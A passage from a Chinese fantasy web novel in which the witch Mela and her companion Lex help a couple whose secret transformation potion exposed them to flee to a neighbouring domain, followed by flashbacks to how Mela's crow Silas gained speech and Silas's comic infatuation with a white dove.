不过此地的领主为何突然要找与女巫相关的人,莱克斯在停顿的间隙十分自然地向梅拉投去一瞥,其中带着点探究,他想这事梅拉或许知道些内情。 然而回应他的却是梅拉歪着脑袋,眨了眨眼,神情很是无辜。 “既然刚才侥幸让你们跑了,有很大可能他会转道前往你们所在的村子,打算来个守株待兔。”不管梅拉到底是不是装出来的无辜,莱克斯已经收回了目光,接着道。 毕竟按照一般人的想法,劫后余生的第一反应便是回到安全的地方,比如家中。 哪怕是打定主意了要离开此地,到别的地方先躲一阵风头,也得先收拾好值钱的东西再说。 不得不说,在某种程度上,莱克斯的猜测与乔安妮原先的想法不谋而合了。 也就是说,若是霍尔和乔安妮刚才真的回家去了,那才是货真价实的自己送上门去的傻兔子。 “那……”霍尔与乔安妮对视一眼,“按照你的说法,我们之后是不是不能留在村子里正常生活了?” 尽管用的是问句,但答案显然已经浮现在了两人的心中。 本就沉重的心情再度往下一坠。 “换个角度想,只要你们现在离开,这件事也就到此为止了。” “毕竟不管是那名骑士还是霍华德,暂时都无从得知你们的去向,你们正好抓紧时间搬走,离开村子,甚至离开雷德克里夫领,到时候,单凭他们两个的力量,是绝不可能搜捕得到你们的踪迹的。”莱克斯挑眉道。 假如霍尔现在抬头,就能发现莱克斯此刻的神态竟与梅拉如出一辙。但他低垂着脑袋,像根被风吹蔫了的狗尾巴草。 这也不难理解,毕竟是要突然阔别生活了三十多年的家乡,还是因为一场无妄之灾,换谁来想必一时半会都难以接受。 但,这也是没办法的事,不搬走,难道还真的回去乖乖地任人宰割吗? “都怪我。”一旁的乔安妮忽然自责道。 “要不是我太在乎这张脸,离不开变形药剂,让霍华德看出了端倪,又怎么会惹出这么麻烦的事情来……” 乔安妮看向霍尔,眼角俨然挂上了几滴晶莹的泪珠。 莱克斯则悄无声息地递了个疑惑的眼神给梅拉,其实他有个问题一直没弄明白,那就是霍华德到底是从哪发现了乔安妮的不对劲。 “你现在这张脸,应该是十六岁被大火烧伤之前的样子吧。”梅拉收到莱克斯的眼神,直言不讳地问了出来。 一点也不担心戳人伤疤。 “……您猜得没错。”乔安妮的悲伤被梅拉打断,她用手抹了抹眼角的泪,顺带摸到了自己脸上那平坦又紧致的皮肤。 一回想起那场害自己烧得面目全非,不敢出门见人的大火,即使已经过去了十几年,乔安妮还是吓得立刻放下了手,仿佛脸上又升起了曾经日日夜夜折磨着她的,火辣辣的痛感。 以及午夜梦回时,手摩挲过脸上,坑坑洼洼的触感。 火灾?有了梅拉的提醒,莱克斯终于注意到乔安妮脸上过于光滑幼嫩,仿佛十几岁少女般的肌肤。 实不相瞒,他一开始还以为这是乔安妮保养得宜的效果。 却没有细想,一个日夜操劳的农妇怎么可能像他曾在王宫见过的贵妇人一样,花大价钱和精力去保养自己的脸蛋。 尤其,乔安妮的手充满了茧子和冻疮留下的痕迹。 因此当她的手和脸蛋放到一起,简直像是把两个不同年纪的人的身体放在了一起。 对容貌的敏感让乔安妮留意到了莱克斯脸上一闪而过的若有所思的表情,只不过对经历过别人的厌憎和嫌恶的乔安妮来说,这点反应完全不足以刺痛她的内心。 那时她顶着那样一张脸,被自己的父母赶出家门,被自己救了的弟弟拿石头砸在身上,只能住在河边一间稻草搭起来的破屋子里,都愣是咬牙挺了过来,没有心灰意冷地跳入河中一了百了。 后来还遇到了愿意喜欢她、愿意娶她的霍尔。 现在哪怕重新揭开伤疤给人看,乔安妮却惊觉伤口其实并不如她回忆中的那样痛了。 只不过,如果能提前知道这会给霍尔带来麻烦,乔安妮想,她宁可顶着那张丑陋的脸过一辈子。 “我不怪你。”沉默了许久的霍尔忽然道。 “喝了变形药剂后,你可以正常地在村子里生活,和其他村民打交道,这难道不好吗?” 不仅如此,霍尔觉得他非常感谢梅拉当初拿出了变形药剂,否则乔安妮大概这辈子都不会同意和他在一起吧。 那时候,不管霍尔如何想要证明他不介意乔安妮是否毁容了,他喜欢的是乔安妮的善良与温柔,乔安妮却因为自卑,屡屡拒绝他的示爱,甚至还想过偷偷搬走,再也不与他见面。 霍尔一边阻止了乔安妮,一边狠下心,来到黑暗森林试图找到自己曾帮助过的女巫,打算从她的手里得到一个让乔安妮可以恢复容貌的办法。 他准备了足够的钱,也准备好了付出其他的代价。 然后女巫,也就是梅拉,便带着塞拉斯忽然出现在了他面前。 “说说吧,你想找我帮什么忙?” 梅拉单手托着腮,一幅兴致勃勃想要听故事的样子。 听到霍尔磕磕巴巴地将他与乔安妮的事情全盘托出,梅拉“唔”了一声,语调含笑,“啊,恢复容貌的办法,我这里确实有。” “三天后,来这棵树下,我会让塞拉斯把你想要的东西带过来。” “好、好的,女巫小姐,那我是白天来还是夜里来比较好呢?”霍尔努力克服着心底对于女巫的恐惧,问道。 他也是忽然想起儿时听过的故事里,女巫都喜欢在黑夜里做交易,因为她们拿出来的东西往往都见不得光。 “按现在这个时间来就好了。”梅拉奇怪地看了霍尔一眼,觉得他的问题实在有些离谱。 大晚上的,即使是塞拉斯也不乐意出门啊。它是乌鸦又不是猫头鹰。 “还有,叫我梅拉就好。”梅拉又道。 “好的,梅拉小姐。”霍尔重重地点了下头,表示自己明白了。 ……他到底明白了什么。梅拉忍不住想在心里叹气。 不过,这桩交易到底还是在三天后完成了。 塞拉斯叼着篮子,用眼神示意霍尔把盖在篮子上的布掀开,拿走里头的两瓶药剂。 “这是两瓶变形药剂,只要把它喝下去,然后想象自己想要变成的样子就行了。” 在霍尔举着瓶子打量的功夫,塞拉斯忽然开口介绍到。 还把霍尔给吓了一跳。 乌、乌鸦竟然会说话! 不过想想这是女巫的宠物,会口吐人言也就不足为奇了。霍尔在心里自我安慰道。 塞拉斯没有理会霍尔的大惊小怪,接着把梅拉的话转述给他听,“对了,一瓶药剂生效的时间是半个月,所以下个月后,你再来这棵树下,我会把新的药剂带给你。” “原来没办法一次解决吗……”霍尔看上去有些失望的模样。 “拜托,脸都烧毁了,这么严重的伤,你还想一瓶药剂就能解决,是不是太异想天开了一点。”塞拉斯听了霍尔的话,没忍住翻了个白眼。 “当然,梅拉说了,这桩交易你随时都可以喊停,反正需要喝这玩意儿的又不是你。要是哪天对你现在喜欢的那个女人腻了,正好抛弃变得丑陋的她换个新的妻子好了。” 说着,塞拉斯嘎嘎大笑着飞起来,在霍尔头顶的那片天空盘旋了一圈,便叼着空了的篮子彻底飞走了。 甚至没有留下来听霍尔的反驳。 霍尔望着塞拉斯远去的背影,捏紧了盛着药水的瓶子,一阵气闷,他想说,他绝不会当负心汉,毕竟他从始至终就不是因为乔安妮的脸而喜欢她的。 当霍尔将变形药剂交给乔安妮,同她说了其作用后,乔安妮一面用怀疑的眼神打量瓶子里的药水,一面询问霍尔这是哪来的东西。 “……是我从女巫手里买来的。”霍尔想着反正这件事以后也是要告诉乔安妮的,不如干脆一开始就坦白。 “女巫?你竟然同女巫做了交易!”乔安妮下意识抬高了音调,用一种恨铁不成钢的眼神盯着霍尔直瞧。 她怎么也没想到看起来老实巴交的霍尔胆子竟然这么大,都敢同女巫做交易了。 “其实……梅拉小姐是位很好的女巫,一瓶变形药剂只要了我十二枚银币……”霍尔挠了挠头,试图在乔安妮面前为梅拉说好话。 结果就是让乔安妮更吃惊了,“这么一瓶不知道效果的药水,竟然就要花十二枚银币?你疯了?” 看样子她巴不得把药剂再塞回霍尔手里,让他去找女巫把银币拿回来。 “有没有用,你试试不就知道了?”霍尔倒是十分真诚地劝她道。 虽然私心里,霍尔觉得能让乌鸦口吐人言的梅拉应该是非常厉害的女巫才对,不可能会拿一瓶没用的药剂骗他。 再说了,下个月,霍尔还要找梅拉再买新的药剂呢,若是她撒了谎,待会儿就会被戳穿了。 见霍尔愣是不肯拿回药剂,乔安妮想着不如就试给他看,十二枚银币,大不了她之后攒钱还给他就是了。 于是乔安妮拔开瓶子上的木塞,一口气喝尽了药水,按照霍尔说的,闭上眼想象自己最希望变成的模样。 乔安妮不想要变得多么漂亮,也不想成为什么绝世美人,她只想变回没有被大火烧坏一张脸时的样子,那也是她最刻骨铭心的模样,以至于每晚都忍不住拿出来想念。 “乔安妮,成功了,你变回来了!” 霍尔惊喜的声音在乔安妮的耳畔响起。 令她倏地睁开眼。 变回来了? 是她想的那个意思吗? 怀揣着不知名的期待,乔安妮急急忙忙地来到不远处的河边,从河水的倒影里观察自己的脸。 那是一张光滑如新的脸蛋。 也是她梦寐以求的,没有被烧坏的脸蛋。 太过喜悦,以至于乔安妮直接哭了出来。 “别哭,别哭。”霍尔急得在一旁安慰她。 想伸手揽住乔安妮的肩膀,很快又缩了回来。 不曾想,乔安妮从水面上看到他的动作,竟然主动靠进了他的怀里。 “谢谢你。”她说,声音里难免带着哽咽。 “那么,你愿意娶这个样子的我吗?” 这一回,竟是轮到了乔安妮主动。 “当、当然,我、我简直、简直求之不得!”霍尔也高兴坏了,差点连话都不会说了。 这一刻,霍尔只觉得自己像是被铺天盖地的幸福感给包围了,连空气都变得无比清新起来。 “所以,哪怕给我再来一次的机会,我也不会后悔。”霍尔道。 即使现在,因为这件事导致他不得不离开生长多年的村子也一样。 昏黄的光线下,霍尔那张算不上英俊的脸,却好像充满了一种奇异的魅力。 让乔安妮不管不顾地扑到了他怀里,再一次感受到了心如擂鼓的滋味。 “如果非要怪谁的话,那就怪霍华德好了,如果不是他动了这样阴险的心思,我们又怎么会被逼到不得不离开的地步。” 霍尔顺势抚上乔安妮的肩膀,针对她之前那句自责说了句心里话。当然,他是真心实意这么想的,绝不仅仅只是为了安慰乔安妮。 “亲爱的……”乔安妮的眼角再度闪烁起了泪意,只不过这一次是因为喜悦和解脱。 她彻底放下了心中的愧疚与自责。 “话说得可真好听,果然再老实的男人在哄女人这上头都犹如信手拈来,”梅拉哼笑一声,像是看不别人正处在浓情蜜意的时刻,非要往上泼一盆冷水,“若是你的心里真的一点怨怼都没有,刚才又为什么要沉默?” “这个……我刚才其实是在想,既然我们打算搬家的话,不如干脆搬到隔壁拜亚德领好了。” 虽然莱克斯说如非意外,他们今后应该不至于再倒霉地撞上霍华德,但霍尔难免担心,万一他就是这么霉运罩顶呢? 还是干脆搬离雷德克里夫领,以绝后患比较好。 只不过,霍尔觉得他要是把这话说出来,好像他不信任莱克斯一样。 他保证,他真的没有这个意思。 也不知道莱克斯会不会信。 霍尔偷偷瞄了莱克斯一眼,没法从他的表情上看出任何端倪。 不过既然现在已经把话说开了,霍尔干脆把剩下的想法全盘托出:“除此之外,我还在想搬去拜亚德领哪个地方,方便我以后再来找梅拉小姐你购买药剂。” 多尼克的年纪大了,霍尔早就很少让它来拉车了,若是搬去的地方离黑暗森林太远,他一个人怕是走不动。 “这个嘛,你问我还不如问莱克斯,在这座小木屋里,没有人比他对这个王国更清楚了。”梅拉将霍尔的问题像烫手山芋一样抛给了莱克斯。 “既然这样的话,没有比拜亚德领的金麦镇更适合你们的地方了。”莱克斯道。 “那里的税务官是出了名的油滑。” 油滑,意味着只要肯给他好处,就能达成自己想要的目的。 比如给从隔壁雷德克里夫领过来的霍尔与乔安妮安排一个土生土长的金麦镇身份。 “而拜亚德领的领主,也是出了名的怠惰。” 即只要不影响他吃喝玩乐,无论领地上发生了什么事,他都漠不关心。 更别提主动去查看自己的领地内是不是莫名其妙多出来了两个人了,恐怕从他继任领主的位子至今,就没管过多少领地内的事务。 “再加上金麦镇离黑暗森林并不算很远,哪怕加上途中休息的时间,大概也只要走上一天一夜而已。” 因此不管怎么看,金麦镇都完美地满足了霍尔提出的一切要求。 “太好了,那我们就搬去莱克斯说的那个地方吧!”霍尔低头,看向乔安妮。 在霍尔的注视下,乔安妮点了点头,一切都随他安排,她没有异议。 “就是可惜我们没法带着土地一起走……” 以及屋子里零零碎碎的家当,包括那台曾经花了大价钱才买到的手纺车,都只能全部留下来了。 “你们的土地大概本来就保不住。”莱克斯道。 他这么说,倒也不是无的放矢。 “你不就认识有突然被收回土地,还欠了领主一屁股债的村民吗?”见霍尔面露不解,莱克斯提示道。 “你说的是他啊!”霍尔恍然大悟。 他附在乔安妮耳边说了个名字,紧接着乔安妮也跟着露出同样的表情。 “但是我听说,他是因为将变质的粮食以次充好卖给了粮食商人,才闹到了领主大人的面前。”霍尔迟疑地道。 “区区一个粮食商人,凭什么让领主给他主持公道,这无疑就是雷德克里夫伯爵安排好的手笔。” 莱克斯加重了语气,强调到,“也就是说,即使没有霍华德这一出,你手里的土地迟早有一天也会被盯上。” 因此尽早搬离这个是非之地,对霍尔与乔安妮来说,反而是件好事也说不定。 原来是这样!乔安妮听明白了,心里一下子涌上了紧迫感,恨不得这就和霍尔赶紧搬走。 正好,霍尔也有此意。 他们忙不迭向梅拉告别,趁着夜色尚深,正好悄悄去取走这些年暗中藏下的钱币。 有了钱,到金麦镇想买什么都不成问题。 目送霍尔与乔安妮走后,一直在琢磨莱克斯话的梅拉忽然问,“我怎么觉得你好像对拜亚德领的领主和税务官都非常熟稔的样子?” “噢,这大概是因为如今拜亚德领的领主,拜亚德伯爵是我姑姑的丈夫,而金麦镇的税务官则是上任拜亚德伯爵的小儿子,他们一家都曾经来王宫闹出过不少笑话吧。” 莱克斯云淡风轻地答道。 第29章 第 29 章 [梅拉与塞拉斯的相遇]…… 睡了一觉睁开眼, 发现今天的天气无比晴朗时,人的心情也会跟着变得晴朗起来。 至少梅拉今天的心情就很不错。 连每日的例行检查,发现前不久好不容易找来的一批黑晶鸢尾种到花盆里,却瘪了不少花苞时, 梅拉都没有气急败坏地喊莱克斯过来, 查看这到底是怎么一回事。 与她相反的则是塞拉斯,简直像是有一团肉眼可见的乌云笼罩在它的头顶上似的, 正随着它的移动不断地下着小雨。 即使是梅拉, 也忍不住退避三舍, 暂时和塞拉斯拉开距离, 免得给这只可怜的乌鸦雪上加霜。 “你知道塞拉斯这是怎么了吗?”梅拉悄悄凑到莱克斯身旁, 刻意压低了声音,问道。 自从塞拉斯与莱克斯相处的时间越来越久,有些话, 它揣着莫名其妙的自尊心不愿意向身为主人的梅拉倾诉, 倒是很愿意分享给莱克斯。 尽管它每一次说完,都要补上一句“记得替我保密”,但莱克斯记得自己从没答应过。 于是每当梅拉问起,莱克斯总是毫无心理负担地就把塞拉斯那点不可告人的心事抖露了出来。 这一次也一样。 “又被百合小姐拒绝了吧。”莱克斯淡淡地道。 “百合小姐?” “这是它为那只白鸽取的名字。” ——“百合小姐的羽毛洁白而动人,不正像一朵美丽的百合花一样吗?”这是塞拉斯和莱克斯分享的有关起名的心路历程。 白鸽? 噢,梅拉想起来了,莱克斯先前和她提到过, 塞拉斯最近喜欢上了一只刚搬来黑暗森林居住的白鸽。 “只不过, 它这样擅自为人家取名,那只白鸽同意了吗?”梅拉又问。 关于这个问题,莱克斯沉吟片刻,然后诚实地摇了摇头, “我不知道。” 塞拉斯倒也不是什么都会和他说的。 譬如那些让它自觉丢脸的事情,塞拉斯就难得闭上了它那张爱絮叨的嘴,比紧闭的蚌壳还难撬开。 “不过,如果我是那只白鸽,应该不会喜欢一个异族给自己取的名字。”莱克斯设身处地地想了一下。 不如说,假如哪一天有个异族兴冲冲地跑过来,用古怪的语调喊自己,仿佛那是他特意为自己取的名字一样,莱克斯一定会控制不住流露出嫌弃的眼神。 谁要别人乱七八糟起的名字啊?他莱克斯明明有正儿八经的属于自己的名字。 这倒也是。梅拉赞同地点了点头。 虽然在人类的眼里,乌鸦和白鸽无非都是鸟,哪里就算得上异族了,但在真正的乌鸦和白鸽眼里,对方应该比人和狗的差别都大。 因此当初听说塞拉斯喜欢上了一只白鸽时,连莱克斯都难得露出了惊讶的表情。 梅拉“唔”了一声,起初她当然也有些诧异,但很快,她又觉得没什么好意外的,毕竟那是塞拉斯啊,“从会说话的那一刻开始,塞拉斯就注定不再是一只普通的乌鸦了。” 甚至某种程度上,梅拉竟然诡异地能够理解塞拉斯的选择。 一直以来,塞拉斯就以它那双有力的翅膀和一身乌黑发亮的羽毛而自豪不已,因此它会喜欢上那位百合小姐完全是一件很正常的事嘛,毕竟它这辈子也没办法再另外拥有一身洁白无瑕的羽毛了。 说到这个,莱克斯侧过脸,看向梅拉,“我记得塞拉斯能够口吐人言,是因为无意中喝下了你炼制出来的药剂?” “嗯……”梅拉随着莱克斯的话陷入了回忆之中,那真是非常久远的一个故事了。 当时梅拉还住在白松镇上,年仅十五岁。 只不过半年前,威普多因为一场高热意外离世,而他作为镇上唯一的医士,几百号人的头疼脑热都指望着他来救治。 当他也病倒时,原本还不屑于找梅拉看病的人们此刻也不得不承认她身为威普多继承人的身份,关键是,梅拉的医术确实毫不逊色于她的父亲。 于是威普多的葬礼一结束,梅拉便正式接过了他的衣钵,成为了镇上新的医士。 平日里除了给大家看病以外,梅拉依旧会三不五时的上山采集草药。 而塞拉斯,就是在梅拉某次上山途中偶然遇到的可怜小乌鸦。 那会儿塞拉斯身上的羽毛都没长全,只有薄薄的一层,还是只雏鸟呢,就倒霉地从树上的巢穴中掉了下来。 因为摔断了几根骨头,疼得小塞拉斯不停地发出细弱的叫唤。 然而这时候,巢里只有小塞拉斯同样尚未成年的兄弟姐妹们,即使它们听到了小塞拉斯的呼痛声,也只能仰着脖子哀哀回应,却无力将它给救上来。 幸好小塞拉斯的声音在吸引了其它野兽之前,先引来了正在附近的梅拉,否则它这么大点的小鸟,大概只能被当成小点心一口吞下。 听力极佳的梅拉没有错过风中传来的那道若有若无的叫声,应该是什么小鸟在叫吧?她想。 只不过她的脚尖诚实地往声音传来的方向一转,不继续上山了,改为顺着声音的来源一路找去。 果然是只小鸟在叫,梅拉看见了瘫在地上无法动弹的小塞拉斯,还是只丑丑的小乌鸦。 看样子,它应该是不小心从树上的巢穴里掉了下来。 梅拉抬头,一眼便找到了圆圆的碗似的巢穴,顺便估摸了一下巢穴所在的高度。 是有点高,但对于爬树本事一流的梅拉来说,倒也不是爬不上去。 换做别人,这会儿应该就想着该如何把小乌鸦送回家了。 但梅拉不一样。 她想,既然是她打算救的小乌鸦,凭什么要再还回去,当然是要捡回来当自己的鸟了。 于是,梅拉俯身,捡起还在瞎叫唤,甚至因为她的举动叫得更急更慌的小塞拉斯,用双手捧在掌心,连草药也不采了,就这么一路下山,回到了属于她的屋子里。 回到家,梅拉随手将小塞拉斯放到了桌子上。 而她则经历了一阵东翻西找,终于找出了她藏在柜子最深处的治愈药剂,顺带还拿了把勺子过来。 没办法,小塞拉斯目前还是太小了,梅拉没法把药水从它的嘴里硬灌下去。 只能先滴了一些在勺子里,浅浅的一小湾湖泊似的,倒映着梅拉水草般幽绿的眼睛。 梅拉用了点力,勺子硬生生顶开了小塞拉斯的喙,顺着将药水倒了进去。 小塞拉斯不出所料的对梅拉要喂给它喝的东西非常抗拒,扑腾着翅膀,甚至笨拙地腾挪着受伤的身体,转身想逃。 可惜被梅拉提前看穿了它的意图,邪恶的手伸过来,一把禁锢住了巴掌大的小乌鸦。 于是小塞拉斯被迫喝光了勺子里的药水。 确认勺子里一滴都不剩后,梅拉总算把它挪开,自顾自地去忙别的事了,任小塞拉斯在她身后像呛了风一样疯狂地咳嗽。 过了好一会儿,小塞拉斯总算缓过了劲,它原本就有些蔫,这下更是直接将自己蜷缩起来,警惕地打量了一圈这个陌生的环境。 周围都是些它从没见过的东西。 包括它屁股底下这个高高的,用许多块木头搭起来的平台。 好在上头经年日久的木香是小塞拉斯熟悉的味道,即它所在巢穴周围最常见的白松树的味道,这让小塞拉斯稍稍安了点心。 又过了一会儿,梅拉的身影消失在了楼梯之上,小塞拉斯便大着胆子站了起来,尝试着往前走了两步。 奇怪,小塞拉斯歪了歪脑袋,觉得身上一点也不痛了,就好像没有从巢穴里摔下来过一样。 虽然不知道具体的原因,但哪怕现在它的脑仁只有丁点大,小塞拉斯还是意识到了它身上不痛,与人类喂给它喝的东西脱不了干系。 因此在梅拉又一次伸手,把它拿到手里仔细端详的时候,小塞拉斯不再挣扎,而是静静地任由梅拉打量。 嗯……它现在的样子好丑,等羽毛长齐了,应该就好看了吧?梅拉盯着手心里的小塞拉斯,想到。 为了早日让小塞拉斯长出漂亮的羽毛,梅拉在之后喂给它吃的糊糊里加了许多材料,包括对人类头发有益处的一些草药。 尽管梅拉也不知道这些草药对鸟有没有用。 当然,哪怕没用也没关系,凡事总要有第一次的尝试嘛。 一开始,小塞拉斯对味道诡异的食物采取了拒绝的态度,脑袋胡乱摇摆着,愣是不让勺子碰到它的喙。 可惜这点挣扎在梅拉看来就和撒娇差不多。 甚至梅拉捏住小塞拉斯的脑袋,义正辞严地告诫它,“不许挑食噢,否则不健康的身体是一定会生病的。” 说完,梅拉自己反倒愣了一下。 曾几何时,威普多也是这样对付不爱吃胡萝卜的小梅拉的。 不过梅拉很快回神,用勺子顶开了小塞拉斯的喙,顺利地把糊状的食物倒进小塞拉斯的嘴里。 这时候,除了把食物咽下去,小塞拉斯别无他法。 再后来,大概是意识到了抵抗无用,小塞拉斯不仅学会了逆来顺受,还会主动把脑袋埋进梅拉专门给它准备的小碗里,自己吃得香喷喷的。 事实证明,那些草药除了对人有用外,对鸟也有用。因为很快,小塞拉斯真的长出了漂亮的羽毛来,成功从一只丑陋的雏鸟,变成了一只还算看得顺眼的小乌鸦。 长完羽毛后,按理来说应该是要学习飞翔的时候了。 但小塞拉斯的父母不在它的身边,梅拉也没有翅膀,更不可能教它如何利用翅膀像一只真正的鸟儿一样飞起来,因此小塞拉斯只能自己摸索着学习。 好在鸟类飞翔的本能似乎刻在了它们的身体里。 小塞拉斯天然便知道该从高处跳下来,才能学会飞翔。 而它选择练习的地点,就是刚来这个家时待过的那张桌子。 这张桌子大概有四五尺高,以目前梅拉的身高,刚好到她的腰际,不管是临时放什么东西,还是要伸手拿点什么,都非常顺手。 但对小塞拉斯来说,这个高度摔下去,迎来的又是切身的疼痛。 或许又会摔断几根骨头吧。 尽管如此,想要学会飞翔的渴望不断鼓动着小塞拉斯伸出爪子,一步步走到桌子的边沿,张开双翅,往下一跳—— 身上传来的疼痛疼得小塞拉斯连站起来的力气都没有了。 好痛,这是它那颗瓜子仁大小的脑袋里唯一的念头。 倒霉的是,它还真的又摔断了几根骨头。 忽然,小塞拉斯回想起一个月前,梅拉强行让它喝下的那味道古怪的水。 小塞拉斯还记得,喝完水后,它的身上就不疼了。 想到这,小塞拉斯开始挪动身体,忍着剧痛,一点点往前爬去。 它知道梅拉平时喜欢把装着这种水的瓶子藏在一个柜子里,只有夜深人静的时候才会将其拿出来,倒到另外的碗里进行捣鼓。 柜子没有上锁,毕竟梅拉十分笃定没人会闯进来偷盗家里的东西,除非他不打算在白松镇继续生活下去了,否则没人敢得罪镇上唯一的医士。 于是小塞拉斯只不过拽住了把手,一拉,柜门便开了,露出幽暗的内里。 以它现在的身躯,轻而易举就能钻进去。 只不过各种各样的瓶子堆得实在太多了,高的、矮的、挺着个大肚子的,纤细得仿佛脖颈的,小塞拉斯看花了眼,也挑不出哪一瓶里装着对自己有用的水。 此时,梅拉正走在回家的路上。 昨天,夏洛特太太派女仆找上门,说她身上不舒服,请梅拉第二天早上上门来为她看一看。 因此梅拉今天一大早,就带着药箱出门了。 等梅拉见到靠在床上,唇色发紫的夏洛特太太,眼神不由得凝重起来。 这并不是说夏洛特太太身上的毛病她治不好,只是治起来会有些麻烦,与此同时还得多亏她派人来得及时,否则再拖几天,病情将会变得更加棘手。 成功将丰厚的诊金拿到手后,梅拉哼着歌,走在了回家的路上。 当她推开门,发现塞拉斯竟然不在桌子上,只好扬声呼喊它的名字,“塞拉斯——你在哪呢?别不是因为贪玩掉进沙发缝里了吧?” 梅拉放下药箱,走到沙发前,扒拉开柔软的垫子,没有找到塞拉斯的踪迹。 好吧,看来塞拉斯不在这。 “塞拉斯?你在哪呢?” 梅拉只好又喊了一遍。 同时小心翼翼地观察着脚下的地毯,以免一个不慎一脚踩到了塞拉斯的身上。 “……我……我在这儿呢……” 有细如蚊吟的声音从靠墙的柜子里传出来。 嗯?! 梅拉快步走到柜子前,蹲下来,一下子瞧见了把自己缩成球,却硬着头皮与她对视的塞拉斯。 它像是知道自己做了错事一般,浑身抖得跟筛糠似的。 而它的身旁,静静地躺着几个已经喝空了的瓶子。 第30章 第 30 章 [小情侣想办法帮助塞拉…… 总之, 塞拉斯胡乱喝下的那几种药剂在它的身体内发生了令梅拉也无法预料的变化。 好在经过一段时间的观察,梅拉发现塞拉斯除了变得更加聪明,能够像人类的孩童一般学习说话之外,并没有露出其它的异样。 察觉到梅拉在观察自己, 原本正在玩一个彩色小绒球的塞拉斯歪着脑袋看过来。 “梅拉?”它的语气中带着疑惑。 “在, 看我吗?” 因为学说话的时间尚短,塞拉斯说话时难免磕绊。 “是啊, 在看一只幸运的小乌鸦。”梅拉笑着摸了摸塞拉斯毛茸茸的脑袋。 塞拉斯的运气真的很好。 要知道在威普多离世之前, 梅拉压根不敢在他的眼皮子底下大张旗鼓地捣鼓这些药剂, 若是让威普多知道她竟然和女巫扯上了关系—— 以威普多的性子, 为了她的安全着想, 绝对会逼着她当着他的面立下誓言,这辈子都不许再尝试这些普通医士闻所未闻的草药搭配,以免被有心人察觉出端倪。 梅拉不想走到必须得在接受与反抗之间二选一的地步, 干脆暂时压抑住尝试的欲/望, 琢磨着之后在山上找个避人耳目的山洞。 没想到威普多意外离世,这间屋子猝然间只剩下她孤零零的一个人。 至于塞拉斯喝下的那几瓶药剂,梅拉甚至还没来得及试验它们具体的药效。 “等等,”莱克斯出言打断了梅拉的回忆,“那些药剂难道不是你根据书上所写的秘方制作出来的吗?” “你在说笑吗?当然不是了。” 梅拉云淡风轻地说出了一件令人目瞪口呆的事情。 “你在地下室见到的那些书,都是我后来才收集起来的,一开始, 我完全是凭着记忆和经验在尝试制作药剂。其中当然有不少失败的例子, 少数看上去成功了的药水,则被我装在了瓶子里,藏到了柜子的深处。” 这也就是为什么,梅拉会说塞拉斯幸运的原因。 那些不知道到底具有什么样功效的药水, 在塞拉斯的肚子里糅合、变化,最后竟然成功地创造出了一个奇迹。 奇迹最大的特点便是无法复刻的偶然性。 即使后来梅拉根据记忆又做了许多类似的尝试,身边也没有再多出来第二只会说话的兔子或猫咪。 梅拉不免为此感到有些可惜。 “……这么说的话,塞拉斯当初能活下来可真是命大。”莱克斯沉默了一会儿,道。 “谁说不是呢,可惜它的好运在求偶这方面好像不太灵光。”梅拉看向屋子里,犹如行尸走肉一般的塞拉斯。 莱克斯则颇为赞同地点了点头。 * 有时候不得不怀疑,善于预言的女巫在某些时候脱口而出的话或许也是某种谶言。 几天后,塞拉斯的状态都不能用乌云罩顶来形容了,简直可以说是生无可恋地躺在梅拉的桌子上,任由梅拉用手指戳它的肚子,仍然一动不动,仿佛灵魂都飘向了未知的远方。 “这是又怎么了?或许你说出来,我和莱克斯能帮你想想办法呢?”梅拉难得愿意充当一个体贴的主人,温声细语地问道。 “我……”塞拉斯听了梅拉的话有些意动,犹犹豫豫地开了个头。 “嗯?”梅拉温柔地递上一句,仿佛在为塞拉斯接下来要说的话搭起了台阶。 果然,有了梅拉的鼓励,本就憋得心里难受的塞拉斯像是找到了一个宣泄的理由,断断续续地将它心中的苦闷一股脑地倒了出来。 它谈起了与那位白鸽小姐的初遇:“那是一个风和日丽的下午,我像往常一样飞到湖边欣赏风景,突然头上掠过一道白色的身影,引走了我全部的注意力……” 等一下,尽管塞拉斯描述得非常文艺,但梅拉总觉得字里行间充斥着一股强烈的熟悉感,就好像她曾经在哪看到过这样文绉绉的开头似的。 在哪呢?梅拉一面听,一面分神回忆。 噢!梅拉脑海中灵光一现,忽然想起来了,这不就是某本已经被她压箱底了的小说的开头吗? 所以塞拉斯是什么时候把这些书翻出来看的?还是特意瞒着她偷偷看的。 梅拉看着塞拉斯的眼神顿时变得格外的幽深。 只不过,由于太过投入于自己所讲的故事,塞拉斯根本没有注意到梅拉眼神的变化,还在滔滔不绝地描绘它那惊鸿一瞥,“……那身洁白无瑕的羽毛,那在高空之上游弋而过的曼妙身姿,每分每秒都在让我的心跳加速……” “好了好了,我知道那是一只非常美丽的白鸽了,你可以说重点了。”梅拉屈起食指,叩了叩桌面,示意塞拉斯赶紧把正文搬出来。 要是让塞拉斯去写小说的话,它的读者一定会因为它啰嗦的文笔而感到不耐烦的。 好在塞拉斯收到梅拉的警告,立刻识趣地清了清嗓子,将还未脱口而出的赞美给咽了回去,转而说到了梅拉最关心的部分: “……虽然我向这位年轻漂亮的白鸽小姐展开了热烈的追求,但它却对我避之不及,屡次拒绝了我对它的示好。” “譬如?” “譬如每当我试图接近它,它却立刻像受到什么惊吓一样飞走了;有天我摘了一束漂亮的野花想要叼给它看看,还故意将花放在了它的巢穴附近,是只要它从外面飞回来,绝对一眼就能看到的位置。没想到,等我第二天再去看它的时候,就发现花还在,巢里却已经空了……” 一提起这些令鸟伤心的往事,塞拉斯的情绪再度低落了下去,它怎么也想不通,自己为什么会被拒绝,难道这世上还有比它更聪明绝顶、英俊无双的乌鸦吗? 在自信这一方面,塞拉斯有着和它的主人一脉相承的坚定。 “可能是因为,鸽子也在乌鸦的食谱上吧。”一旁的莱克斯默默地来了一句。 “所以一见到你靠近,那位鸽子小姐就觉得你是打算把它当成了今天的猎物,当然要逃了。” 嗯?是这样吗?梅拉露出恍然大悟的表情,好像莱克斯说的还挺有道理的。 即使对方是一只鸽子,强迫它爱上自己的天敌也实在是太为难它了。 “原来是这样吗?!” 塞拉斯同样是一幅非常震惊的模样。 这也不怪它不知道,毕竟它还是只雏鸟时就跟着梅拉了,基本上梅拉吃什么,它也跟着吃什么,从没像其它乌鸦一样自己捕猎过。 像鸽子在乌鸦的食谱上这种事,自诩与其它乌鸦不一样,没法与它们交流的塞拉斯当然也就无从得知了。 “但我从没对百合小姐展露过攻击意图,还叼着花打算送给它呢……”塞拉斯期期艾艾地道。 “梅拉看过的那些爱情小说里,明明都是这么写的啊……” 